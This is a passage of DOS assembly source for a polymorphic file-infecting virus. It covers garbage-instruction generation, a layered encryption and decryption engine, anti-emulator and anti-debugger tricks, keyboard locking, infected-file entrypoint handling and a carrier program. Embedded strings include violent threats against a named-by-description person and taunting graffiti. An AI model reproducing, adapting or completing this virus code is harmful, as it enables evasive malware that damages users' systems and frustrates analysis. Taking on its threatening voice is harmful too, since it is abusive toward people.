CMP DI, OFFSET Poly_Decryptor + Min_Decryptor
JB JMP_Poly_Gen
; Decryptor too large?
CMP DI, OFFSET Poly_Decryptor + Max_Decryptor
JNA Exit_Poly_Gen
JMP_Poly_Gen: JMP Poly_Generator
Exit_Poly_Gen: MOV AX, 0000h
Old_SS = WORD PTR $-2
MOV SS, AX
MOV SP, 0000h
Old_SP = WORD PTR $-2
CALL Pop_All
RETN
; << *** === ROUTINES POLYMORPHIC ENGINE === *** >>
Add_Garbage:
CALL Get_Random2
INC AX ; Prevent zero, and light
; garbage.
XCHG CX, AX
Dump_It: PUSH CX
CALL Garbage_Generator
POP CX
CMP DI, OFFSET Poly_Decryptor + Max_Decryptor
JA Exit_Garbage
LOOP Dump_It
Exit_Garbage:
RETN
Jnk_INT:
MOV AX, (Tbl_INTs_End - Tbl_INTs)
MOV BX, OFFSET Tbl_INTs
CALL Get_Random
RETN
; Standard stupid one-byte instructions.
Jnk_One_Byte:
MOV AX, (End_Garbage_Table_1 - Garbage_Table_1)
MOV BX, OFFSET Garbage_Table_1
CALL Get_Random
XLAT
STOSB
RETN
Jnk_Two_Byte:
MOV AX, (End_Garbage_Table_2 - Garbage_Table_2) / 2
CALL Get_Random
SHL AX, 1 ; MUL 2
XCHG BX, AX
MOV AX, OFFSET Garbage_Table_2[BX]
STOSW
RETN
; Makes a MOV Reg16 (non Ptr_Reg), random #.
Jnk_MOV_Reg16:
MOV BX, OFFSET MOV_Reg16
CALL Get_Random7
CMP AL, Ptr_Reg ; Don't use pointer-register.
JE Jnk_MOV_Reg16
XLAT ; MOV Reg16,
STOSB
IN AX, 40h ; Stupid random value.
STOSW
RETN
; Generates a cover-up JMP to confuse debuggers/disassemblers, inspired
; by Havoc:
;
; CLC
; JNC Over_Byte
;
; DB 0EAh ; JMP FAR
;
; Over_Byte:
;
Cover_JMP:
MOV AX, 73F8h
STOSW
MOV AX, 0EA01h
STOSW
RETN
Garbage_Generator:
MOV AX, 19 ; Pick random garbageroutine.
CALL Get_Random
JZ Jnk_One_Byte
DEC AX
JZ Jnk_Two_Byte
DEC AX
JZ Jnk_MOV_Reg16
DEC AX
JZ Jnk_INC_Reg16
DEC AX
JZ Jnk_ADD_8_Reg16
DEC AX
JZ Jnk_ADD_16_Reg16
DEC AX
JZ Jnk_DEC_Reg16
DEC AX
JZ Jnk_SUB_8_Reg16
DEC AX
JZ Jnk_SUB_16_Reg16
DEC AX
JZ Jnk_Make_CMPJMP
DEC AX
JZ Jnk_PUSHPOP
DEC AX
JZ Jnk_CALL_Gap
DEC AX
JZ Jnk_CALL_Gap
DEC AX
JZ Jnk_CALL
DEC AX
JZ Jnk_CALL
DEC AX
JZ Jnk_INT_Function
DEC AX
JZ Jnk_MOV_Reg8
DEC AX
JZ Cover_JMP
MOV AL, 0CDh ; INT opcode.
STOSB
MOV AX, (Tbl_INTs_End - Tbl_INTs)
MOV BX, OFFSET Tbl_INTs
CALL Get_Random
XLAT ; Get INT#.
STOSB
RETN
; Random MOV Reg8 (non Ptr_Reg), immediate.
Jnk_MOV_Reg8:
MOV AX, 8 ; AL/AH/BL/BH/CL/CH/DL/DH ?
MOV BX, OFFSET MOV_Reg8
CALL Get_Random
CMP AL, 2 ; Avoid BL
JB Do_MOV_Reg8
CMP AL, 3 ; Avoid BH
JA Do_MOV_Reg8
CMP Ptr_Reg, 0 ; Ptr_Reg is BX ?
JZ Jnk_MOV_Reg8
Do_MOV_Reg8: XLAT
STOSB
IN AL, 40h
STOSB
RETN
Gen_JMP_8:
; Makes a CMP Reg8/Reg16 random.
Jnk_Make_CMPJMP:
CALL Get_Random3 ; Make a CMP first?
JZ Jnk_Make_JMP_8
IN AX, 40h ; Get semi-random#.
AND AL, 00000001b ; byte/word
OR AL, 10000000b ; CMP Reg8/Reg16
OR AH, 11111000b
STOSW
TEST AL, 00000001b ; Byte or word?
IN AX, 40h
JZ Jnk_CMP_B
STOSB
Jnk_CMP_B: STOSB
Jnk_Make_JMP_8: MOV AX, (End_Tbl_JMP_8 - Tbl_JMP_8)
MOV BX, OFFSET Tbl_JMP_8
CALL Get_Random
XLAT ; JMP_8 $+2
STOSW
PUSH DI
CALL Add_Garbage
POP BX
MOV AX, DI
SUB AX, BX
MOV [BX-1], AL
RETN
Jnk_Make_MOV:
IN AL, 40h
AND AL, 10111111b
OR AL, 10111000b ; MOV Reg16
STOSB
IN AX, 40h
STOSW
Jnk_PUSHPOP:
MOV AX, 11
MOV BX, OFFSET PUSH_Reg16
CALL Get_Random
PUSH AX
XLAT
STOSB
CALL Add_Garbage
POP AX
MOV BX, OFFSET POP_Reg16
XLAT
STOSB
RETN
Beast DB '[666h]'
; Makes a CALL backwards.
Jnk_CALL:
MOV AX, Max_CALL_Entry
CALL Get_Random
SHL AX, 1 ; MUL 2
XCHG CX, AX
Get_Free_Offs: MOV SI, OFFSET Tbl_CALL_Dest
ADD SI, CX
INC CX
INC CX
LODSW
OR AX, AX ; Set? Then assume valid IP.
JNZ Got_CALL_Offs
CMP CX, Max_CALL_Entry+2
JB Get_Free_Offs
XOR CX, CX
DEC BX
JZ Exit_AAA
JMP Get_Free_Offs
Got_CALL_Offs: AND WORD PTR [SI-2], 00h
PUSH AX
MOV AL, 0E8h ; CALL
STOSB
POP BX
MOV AX, DI
SUB AX, BX
NEG AX
DEC AX
DEC AX
STOSW
INC CALLs_Made
Exit_AAA:
RETN
; Makes a gap for future calls.
Jnk_CALL_Gap:
MOV AX, 00EBh ; JMP SHORT $+2
STOSW
PUSH DI
CALL Add_Garbage
POP BX
MOV AX, DI
SUB AX, BX
INC AX ; Plus RETN
MOV [BX-1], AL ; Set displacement.
MOV SI, OFFSET Tbl_CALL_Dest
MOV CX, Max_CALL_Entry
Next_Call_Offs: LODSW
OR AX, AX
JZ Spot_Found
LOOP Next_Call_Offs
JMP Exit_2
Spot_Found: MOV [SI-2], BX
Exit_2: MOV AL, 0C3h ; RETN
STOSB
CALL Add_Garbage
RETN
Jnk_INT_Function:
CALL Get_Random2
JZ INT_AX
MOV AX, (End_Tbl_Functions_AH - Tbl_Functions_AH) / 2
CALL Get_Random
SHL AX, 1 ; MUL 2
MOV SI, OFFSET Tbl_Functions_AH
ADD SI, AX
MOV AL, 0B4h ; MOV AH,
STOSB
LODSB
STOSB
MOV AL, 0CDh ; INT
STOSB
LODSB
STOSB
RETN
INT_AX:
MOV AX, (End_Tbl_Functions_AX - Tbl_Functions_AX) / 3
CALL Get_Random
MOV CL, 3
MUL CL
MOV SI, OFFSET Tbl_Functions_AX
ADD SI, AX
MOV AL, 0B8h ; MOV AX,
STOSB
LODSW
STOSW
MOV AL, 0CDh ; INT opcode.
STOSB
LODSB
STOSB
RETN
;----------------------------------------------------------------------------
Jnk_INC_Reg16:
CALL Get_Random7 ; Get random register.
CMP AL, Ptr_Reg
JE Jnk_INC_Reg16
JMP Store_INC
Make_INC_Reg16: MOV AL, Ptr_Reg
Store_INC: MOV BX, OFFSET INC_Reg16
XLAT
STOSB
RETN
;----------------------------------------------------------------------------
Jnk_ADD_8_Reg16:
IN AL, 40h ; Get random in CL.
XCHG CX, AX
CALL Get_Random7 ; Pick random register.
CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_ADD_8_Reg16
JMP Store_ADD_8
Make_ADD_8_Reg16:
MOV AL, Ptr_Reg
Store_ADD_8:
PUSH AX
MOV AL, 83h ; Aritmic.
STOSB
POP AX
MOV BX, OFFSET ADD_Reg16
XLAT
STOSB
XCHG CX, AX
STOSB
RETN
;----------------------------------------------------------------------------
Jnk_ADD_16_Reg16:
IN AX, 40h ; Get random in CX.
XCHG CX, AX
CALL Get_Random7 ; Pick random register.
CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_ADD_16_Reg16
JMP Store_ADD_16
Make_ADD_16_Reg16:
MOV AL, Ptr_Reg
Store_ADD_16: PUSH AX
MOV AL, 81h ; Aritmic.
STOSB
POP AX
MOV BX, OFFSET ADD_Reg16
XLAT
STOSB
XCHG CX, AX
STOSW
RETN
;----------------------------------------------------------------------------
Jnk_DEC_Reg16:
CALL Get_Random7 ; Get random register.
CMP AL, Ptr_Reg
JE Jnk_DEC_Reg16
JMP Store_DEC
Make_DEC_Reg16: MOV AL, Ptr_Reg
Store_DEC: MOV BX, OFFSET DEC_Reg16
XLAT
STOSB
RETN
;----------------------------------------------------------------------------
Jnk_SUB_8_Reg16:
IN AL, 40h ; Get random in CL.
XCHG CX, AX
CALL Get_Random7 ; Pick random register.
CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_SUB_8_Reg16
JMP Store_SUB_8
Make_SUB_8_Reg16:
MOV AL, Ptr_Reg
Store_SUB_8: PUSH AX
MOV AL, 83h ; Aritmic.
STOSB
POP AX
MOV BX, OFFSET SUB_Reg16
XLAT
STOSB
XCHG CX, AX
STOSB
RETN
;----------------------------------------------------------------------------
Jnk_SUB_16_Reg16:
IN AX, 40h ; Get random in CX.
XCHG CX, AX
CALL Get_Random7 ; Pick random register.
CMP AL, Ptr_Reg ; Avoid our Ptr_Reg.
JE Jnk_SUB_16_Reg16
JMP Store_SUB_16
Make_SUB_16_Reg16:
MOV AL, Ptr_Reg
Store_SUB_16: PUSH AX
MOV AL, 81h ; Aritmic.
STOSB
POP AX
MOV BX, OFFSET SUB_Reg16
XLAT
STOSB
XCHG CX, AX
STOSW
RETN
; Can you believe most ppl love their "dad" ?
DB 'SuPReSSeD bY KReaToR'
; === TABLES OF POLYMORPH ENGINE ===
Tbl_Functions_AH:
DB 01h, 13h ; Get disk system status.
DB 0Dh, 13h ; Alternate disk reset.
DB 10h, 13h ; Test fixed disk system status.
DB 0Bh, 21h ; Check STDIN status. *
DB 0Dh, 21h ; Reset disk. *
DB 19h, 21h ; Get default drive.
DB 4Dh, 21h ; Get return code.
DB 54h, 21h ; Get verify flag.
DB 68h, 21h ; Flush buffer.
DB 40h, 67h ; Get manager state.
DB 46h, 67h ; Get EMM-version.
End_Tbl_Functions_AH:
Tbl_Functions_AX:
DWB 3300h, 21h ; Get Ctrl-Break flag.
DWB 3305h, 21h ; Get boot drive code.
DWB 4300h, 21h ; Get file-attributes.
DWB 5700h, 21h ; Get file date & time.
DWB 5800h, 21h ; Get allocation strategy.
DWB 5802h, 21h ; Get UMB link status.
DWB 0100h, 2Fh ; Get PRINT.COM status.
DWB 0600h, 2Fh ; Get ASSIGN.COM status.
DWB 0800h, 2Fh ; Get DRIVER.SYS status.
DWB 1000h, 2Fh ; Get SHARE.EXE status.
DWB 1100h, 2Fh ; Get network redirector status.
DWB 1400h, 2Fh ; Get NLSFUNC.COM status.
DWB 1500h, 2Fh ; Get CD-ROM interface status.
DWB 1A00h, 2Fh ; Get ANSI.SYS status.
DWB 4300h, 2Fh ; Get XMS-driver installed status.
DWB 4800h, 2Fh ; Get DOSKEY.COM status.
DWB 0B000h, 2Fh ; Get GRAFTABL.COM status.
DWB 0B700h, 2Fh ; Get APPEND.EXE status.
DWB 0B702h, 2Fh ; Get APPEND.EXE version.
DWB 000Bh, 33h ; Read motion counters.
End_Tbl_Functions_AX:
Tbl_INTs:
DB 01h ; Single step.
DB 03h ; Breakpoint.
DB 08h ; System timer. **
DB 0Ah
DB 0Bh
DB 0Ch
DB 0Dh ; Harddisk management. **
DB 0Eh ; Floppydisk management. **
DB 0Fh ; Printer management. **
DB 11h ; Get equipment status.
DB 12h ; Get DOS memory size.
DB 1Ch ; Timer tick. **
DB 28h ; DOS safe to use.
DB 2Bh
DB 2Ch
DB 2Dh
DB 70h ; Dunno, I just ripped 'em from SuckSexee.
DB 71h
DB 72h
DB 73h
DB 74h
DB 76h ; I/O ready.
DB 77h
Tbl_INTs_End: ; ** could cause inconsistency.
; I was a HUGE fan of Bruce Lee back in the 80's, all his
; movies were SO FUCKING GREAT! It's a real shame he died...
DB 'Bruce Lee was the best...'
; Table with one-byte "dummy"-instructions.
Garbage_Table_1:
XCHG CX, AX
XCHG DX, AX
IN AL, DX
IN AX, DX
XLAT
LAHF
AAA
DAA
AAS
DAS
CBW
CWD
INT 03h
CLC
STC
CMC
CLD
STD
STI
HLT ; Hmmm... at least I don't use CLI's.
WAIT
NOP
End_Garbage_Table_1:
Garbage_Table_2:
DB 094h, 094h ; XCHG SP, AX / XCHG AX, SP
DB 044h, 04Ch ; INC SP / DEC SP
DB 023h, 0C3h ; AND AX, BX
DB 00Bh, 0C3h ; OR AX, BX
DB 0F7h, 0D0h ; NOT AX
DB 0F7h, 0D8h ; NEG AX
DB 085h, 0C2h ; TEST AX, DX
DB 013h, 0D3h ; ADC DX, BX
DB 01Bh, 0C1h ; SBB AX, CX
DB 0E2h, 0FEh ; LOOP $
DB 0E2h, 000h ; LOOP $+2
DB 033h, 0C9h ; XOR CX, CX
DB 0F7h, 0E1h ; MUL CX
DB 0F6h, 0E2h ; MUL DL
DB 02Bh, 010h ; SUB DX, [BX+SI]
DB 0D1h, 0E2h ; SHL DX, 1
DB 08Dh, 005h ; LEA AX, [DI]
End_Garbage_Table_2:
DB 'G3T TH3 L4M3RS!'
; === Table of opcodes & operands. ===
;---> BX SI DI BP AX CX DX
MOV_Reg16 DB 0BBh, 0BEh, 0BFh, 0BDh, 0B8h, 0B9h, 0BAh
INC_Reg16 DB 043h, 046h, 047h, 045h, 040h, 041h, 042h
DEC_Reg16 DB 04Bh, 04Eh, 04Fh, 04Dh, 048h, 049h, 04Ah
CMP_Reg16 DB 0FBh, 0FEh, 0FFh, 0FDh, 0F8h, 0F9h, 0FAh
ADD_Reg16 DB 0C3h, 0C6h, 0C7h, 0C5h, 0C0h, 0C1h, 0C2h
SUB_Reg16 DB 0EBh, 0EEh, 0EFh, 0EDh, 0E8h, 0E9h, 0EAh
Ptr_Addr:
ADD_Ptr DB 087h, 084h, 085h, 086h
SUB_Ptr DB 0AFh, 0ACh, 0ADh, 0AEh
XOR_Ptr DB 0B7h, 0B4h, 0B5h, 0B6h
INC_Ptr DB 087h, 084h, 085h, 086h
DEC_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh
NOT_Ptr DB 097h, 094h, 095h, 096h
NEG_Ptr DB 09Fh, 09Ch, 09Dh, 09Eh
ROL_Ptr DB 087h, 084h, 085h, 086h
ROR_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh
;---> BX SI DI BP AX CX DX DS ES SS FLG
PUSH_Reg16 DB 53h, 56h, 57h, 55h, 50h, 51h, 52h, 1Eh, 06h, 16h, 9Ch
POP_Reg16 DB 5Bh, 5Eh, 5Fh, 5Dh, 58h, 59h, 5Ah, 1Fh, 07h, 17h, 9Dh
;---> AL AH BL BH CL CH DL DH
MOV_Reg8 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h
; Dedicated to a certain asshole, who uses the law 2 bring me down...
DB 'Prepare to die...'
DB 'Your time has come, '
DB 'I WILL KILL YOU!'
; 8-Bit displacement JMPs.
Tbl_JMP_8:
DB 0EBh ; JMP SHORT
DB 074h
DB 07Ch
DB 07Eh
DB 072h
DB 076h
DB 07Ah
DB 070h
DB 078h
DB 075h
DB 07Dh
DB 07Fh
DB 073h
DB 077h
DB 07Bh
DB 071h
DB 079h
End_Tbl_JMP_8:
Tbl_Crypt_Index DB 1 ; Decrypt ADD-encryption with SUB.
DB 0 ; Decrypt SUB-encryption with ADD.
DB 2 ; Decrypt XOR-encryption with XOR.
DB 4 ; Decrypt INC-encryption with DEC.
DB 3 ; Decrypt DEC-encryption with INC.
DB 5 ; Decrypt NOT-encryption with NOT.
DB 6 ; Decrypt NEG-encryption with NEG.
DB 8 ; Decrypt ROL-encryption with ROR.
DB 7 ; Decrypt ROR-encryption with ROL.
Tbl_Encryptors DW 0580h ; ADD
DW 2D80h ; SUB
DW 3580h ; XOR
DW 05FEh ; INC
DW 0DFEh ; DEC
DW 15F6h ; NOT
DW 1DF6h ; NEG
DW 05D0h ; ROL
DW 0DD0h ; ROR
Tbl_Decr_Opcode DB 080h ;
DB 080h
DB 080h
DB 0FEh
DB 0FEh
DB 0F6h
DB 0F6h
DB 0D0h
DB 0D0h
JMP_Start_File: JMP Start_File
DB 'Greets to the CCC!'
Decrypt_2:
PUSH AX
PUSH BX ; Save most registers.
PUSH CX
PUSH DX
PUSH BP
PUSH DI
PUSH DS
PUSH ES
PUSH CS
POP DS
CALL Get_Delta ; Get our delta-offset.
Get_Delta: POP SI
SUB SI, OFFSET Get_Delta
MOV AX, 3D00h ; Open non-existing file.
MOV DX, SI
INT 21h ; Emulators never return
JC Emulator_Dead ; errors.
MOV AX, 4C00h ; Exit to DOS.
INT 21h
Emulator_Dead: IN AL, 21h ; Lock keyboard.
OR AL, 00000010b
OUT 21h, AL
; Backwards encryption, prevents lamers from setting breakpoints.
MOV BX, (3 + 24) ; After stored header.
Decrypt_File: XOR BYTE PTR [SI+BX], 00h
Key_Fix_Layer = BYTE PTR $-1
INC BX
CMP BX, OFFSET Decrypt_2
JE JMP_Start_File
JMP Decrypt_File
START:
JMP_Decrypt_2: JMP Decrypt_2
Virus_End: ; *** ENTRYPOINT OF INFECTED FILES ***
CALLs_Made DW 0
Return_Address DW 0
i24h DW 0, 0
Int13h_AH DB 0
Encrypt_Algo DB Max_Layers DUP(0)
Decrypt_Key DB Max_Layers DUP(0)
Decrypt_Delta DW Max_Layers DUP(0)
Tbl_CALL_Dest DW Max_CALL_Entry DUP(0)
Dir_Path DB 128 DUP(0)
Poly_Decryptor DB Max_Decryptor DUP(0)
Header DB 26 DUP(0)
Buffer DB 512 DUP(0)
;-------------- Structures --------------------------------------------------
COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Headersize_Para DW 0
Min_Mem_Para DW 0
Max_Mem_Para DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Offs_RelocTable DW 0
Overlay_Number DW 0
Undocumented DW 0
Unused DW 0
EXE_Header ENDS
FindFirstHandle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DD 0
Handle_Name DB 13 DUP(0)
FindFirstHandle ENDS
FindFirst_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DD 0
FindFirst_FCB ENDS
Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_BX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS
Bootsector STRUC
bs_Jump DB 3 DUP(0)
bs_OEM_Name DB 8 DUP(0)
bs_Bytes_Sector DW 0
bs_Sectors_Unit DB 0
bs_Reserved_Sec DW 0
bs_FAT_Copies DB 0
bs_Root_Entries DW 0
bs_Num_Sectors DW 0
bs_Descriptor DB 0
bs_Sectors_FAT DW 0
bs_Sector_Track DW 0
bs_Number_Heads DW 0
bs_Hidden_Sect DW 0
Bootsector ENDS
Carrier:
PUSH CS
POP DS
MOV AH, 09h
MOV DX, OFFSET Carrier_Msg
INT 21h
MOV AX, 4C00h
INT 21h
Carrier_Msg DB 'TH3 W1D0WM4K3R H4S C0M3 T0 T4K3 Y0UR L1F3...'
DB 0Ah, 0Dh, '$'
END START